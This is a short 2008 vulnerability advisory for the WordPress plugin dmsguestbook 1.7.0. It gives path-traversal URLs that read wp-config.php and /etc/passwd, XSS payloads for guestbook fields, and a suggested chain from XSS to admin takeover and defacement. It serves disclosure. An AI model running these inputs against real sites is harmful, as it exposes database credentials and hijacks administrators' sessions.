wpdmsguest-multi.txt
Posted on 04 February 2008
######################################################## Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities by NBBN 2nd, February 2008 ######################################################## 1) File Disclosure Open the following url you can see the config data of wordpress, with the mysql-server username and password. In this file you usually have write permission, so an attacker can place his deface page here: http://site.tld/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=../../../../wp-config.php Vuln code: Line: 652-655 $handle = fopen ($abspath . "wp-content/plugins/dmsguestbook/" . $_REQUEST[folder] . $_REQUEST[file], "r"); if(is_writable($abspath . "wp-content/plugins/dmsguestbook/" . $_REQUEST[folder] . $_REQUEST[file])) { echo "<br />$_REQUEST[file] <font style='color:#00bb00;'>is writable!</font><br />Set $file readonly again when your finished to customize!"; $_REQUEST[folder] & $_REQUEST[file] doesn't checked. Another PoC: http://localhost/xampp/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=../../../../../../../../../../../../../../../../etc/passwd Ok, for this you need an admin account, but you can get an admin account with the follow xss vulnerabilities. ################ 2) Cross-Site Scripting Vulnerabilities a) If the script doesn't find the file, php shows an errormessage, so for xss open this: http://site.tldwordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=<script>alert("XSS")</script> b) Another vulnerability: Find the guestbook page. In the messagefield write </textarea>[your xss code]. So, if admin go to the admin panel, to show himself the guestbook, he execute your xss code c) Again in the guestbook Enter your message in the title ">[xss] and in the messagearea: </textarea>[xss] and enter a wrong captcha-code, you execute the xss code Note: There more some more XSS-Vuln's. ################ 3) SQL-Injection Vulnerabilities There are some SQL-Injection vulnerabilites, but an attacker need an admin account and if he is in the administration-panel, a sql-injection he not need.
